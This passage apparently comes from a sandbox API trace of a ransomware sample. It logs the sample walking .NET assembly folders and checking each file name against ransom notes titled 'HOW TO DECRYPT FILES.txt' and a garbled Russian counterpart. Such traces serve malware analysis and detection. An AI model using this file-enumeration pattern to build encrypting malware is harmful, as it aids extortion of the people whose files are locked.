dwReserved1=0x0, cFileName="3.5.0.0__b77a5c561934e089", cAlternateFileName="350~1.0__")) returned 1 [0101.892] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.Services.Design\\*.*") returned="*.*" [0101.892] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.Services.Design\\3.5.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc04a54a1, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc04a54a1, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.893] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc04a54a1, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc04a54a1, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.893] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad6c0e9d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xad6c0e9d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xad6e6ffe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Data.Services.Design.dll", cAlternateFileName="")) returned 1 [0101.893] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.893] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Data.Services.Design.dll") returned -1 [0101.893] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Data.Services.Design.dll") returned -1 [0101.893] lstrcmpiA (lpString1="", lpString2="System.Data.Services.Design.dll") returned -1 [0101.893] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.Services.Design\\3.5.0.0__b77a5c561934e089\\*.*") returned="*.*" [0101.893] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.Services.Design\\3.5.0.0__b77a5c561934e089\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.Services.Design\\3.5.0.0__b77a5c561934e089\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.Services.Design\\3.5.0.0__b77a5c561934e089\\" [0101.893] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.Services.Design\\3.5.0.0__b77a5c561934e089\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.Services.Design\\3.5.0.0__b77a5c561934e089\\") returned="" [0101.896] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad6c0e9d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xad6c0e9d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xad6e6ffe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Data.Services.Design.dll", cAlternateFileName="")) returned 0 [0101.896] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.896] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc04a54a1, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc04a54a1, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3.5.0.0__b77a5c561934e089", cAlternateFileName="350~1.0__")) returned 0 [0101.896] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0101.896] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6483e10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6483e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6483e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Data.SqlServerCe", cAlternateFileName="SYSTEM~2.SQL")) returned 1 [0101.897] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.897] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.SqlServerCe\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6483e10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6483e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6483e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.898] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6483e10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6483e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6483e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.898] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a26c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52a26c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52a26c90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3.5.1.0__89845dcd8080cc91", cAlternateFileName="351~1.0__")) returned 1 [0101.898] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.SqlServerCe\\*.*") returned="*.*" [0101.899] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.SqlServerCe\\3.5.1.0__89845dcd8080cc91\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a26c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52a26c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52a26c90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.900] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a26c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52a26c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52a26c90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.900] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52a26c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52a26c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52a4cdf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x42450, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Data.SqlServerCe.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0101.901] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.901] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Data.SqlServerCe.dll") returned -1 [0101.901] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Data.SqlServerCe.dll") returned -1 [0101.901] lstrcmpiA (lpString1="", lpString2="System.Data.SqlServerCe.dll") returned -1 [0101.901] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.SqlServerCe\\3.5.1.0__89845dcd8080cc91\\*.*") returned="*.*" [0101.901] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.SqlServerCe\\3.5.1.0__89845dcd8080cc91\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.SqlServerCe\\3.5.1.0__89845dcd8080cc91\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.SqlServerCe\\3.5.1.0__89845dcd8080cc91\\" [0101.901] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.SqlServerCe\\3.5.1.0__89845dcd8080cc91\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.SqlServerCe\\3.5.1.0__89845dcd8080cc91\\") returned="" [0101.903] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52a26c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52a26c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52a4cdf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x42450, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Data.SqlServerCe.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0101.904] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.904] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a26c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52a26c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52a26c90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3.5.1.0__89845dcd8080cc91", cAlternateFileName="351~1.0__")) returned 0 [0101.904] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0101.904] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6483e10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa64a9f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa64a9f70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Data.SqlServerCe.Entity", cAlternateFileName="SYSTEM~3.ENT")) returned 1 [0101.904] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.904] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.SqlServerCe.Entity\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6483e10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa64a9f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa64a9f70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.905] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6483e10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa64a9f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa64a9f70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.905] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x619d33b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x619d33b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x619d33b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3.5.1.0__89845dcd8080cc91", cAlternateFileName="351~1.0__")) returned 1 [0101.905] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.SqlServerCe.Entity\\*.*") returned="*.*" [0101.905] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.SqlServerCe.Entity\\3.5.1.0__89845dcd8080cc91\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x619d33b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x619d33b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x619d33b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.906] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x619d33b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x619d33b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x619d33b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.906] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x619d33b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x619d33b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x619d33b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x38450, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Data.SqlServerCe.Entity.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0101.906] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.906] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Data.SqlServerCe.Entity.dll") returned -1 [0101.906] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Data.SqlServerCe.Entity.dll") returned -1 [0101.906] lstrcmpiA (lpString1="", lpString2="System.Data.SqlServerCe.Entity.dll") returned -1 [0101.906] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.SqlServerCe.Entity\\3.5.1.0__89845dcd8080cc91\\*.*") returned="*.*" [0101.906] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.SqlServerCe.Entity\\3.5.1.0__89845dcd8080cc91\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.SqlServerCe.Entity\\3.5.1.0__89845dcd8080cc91\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.SqlServerCe.Entity\\3.5.1.0__89845dcd8080cc91\\" [0101.906] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.SqlServerCe.Entity\\3.5.1.0__89845dcd8080cc91\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.SqlServerCe.Entity\\3.5.1.0__89845dcd8080cc91\\") returned="" [0101.909] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x619d33b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x619d33b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x619d33b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x38450, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Data.SqlServerCe.Entity.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0101.909] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.909] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x619d33b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x619d33b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x619d33b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3.5.1.0__89845dcd8080cc91", cAlternateFileName="351~1.0__")) returned 0 [0101.909] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0101.912] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfddb9fd0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfddb9fd0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfddb9fd0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Data.SqlXml", cAlternateFileName="SYSTEM~1.SQL")) returned 1 [0101.912] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.912] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.SqlXml\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfddb9fd0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfddb9fd0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfddb9fd0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.913] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfddb9fd0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfddb9fd0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfddb9fd0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.913] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfddb9fd0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbf767a29, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbf767a29, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="2.0.0.0__b77a5c561934e089", cAlternateFileName="200~1.0__")) returned 1 [0101.913] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.SqlXml\\*.*") returned="*.*" [0101.914] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.SqlXml\\2.0.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfddb9fd0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbf767a29, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbf767a29, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.914] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfddb9fd0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbf767a29, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbf767a29, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.914] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bbbf51d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bbbf51d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bbe567d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb6000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Data.SqlXml.dll", cAlternateFileName="")) returned 1 [0101.914] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.914] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Data.SqlXml.dll") returned -1 [0101.914] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Data.SqlXml.dll") returned -1 [0101.914] lstrcmpiA (lpString1="", lpString2="System.Data.SqlXml.dll") returned -1 [0101.914] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.SqlXml\\2.0.0.0__b77a5c561934e089\\*.*") returned="*.*" [0101.914] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.SqlXml\\2.0.0.0__b77a5c561934e089\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.SqlXml\\2.0.0.0__b77a5c561934e089\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.SqlXml\\2.0.0.0__b77a5c561934e089\\" [0101.915] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.SqlXml\\2.0.0.0__b77a5c561934e089\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.SqlXml\\2.0.0.0__b77a5c561934e089\\") returned="" [0101.917] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bbbf51d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bbbf51d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bbe567d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb6000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Data.SqlXml.dll", cAlternateFileName="")) returned 0 [0101.917] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.917] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfddb9fd0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbf767a29, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbf767a29, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="2.0.0.0__b77a5c561934e089", cAlternateFileName="200~1.0__")) returned 0 [0101.917] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0101.917] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfddb9fd0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfddb9fd0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfddb9fd0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Deployment", cAlternateFileName="SYSTEM~1.DEP")) returned 1 [0101.917] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.918] 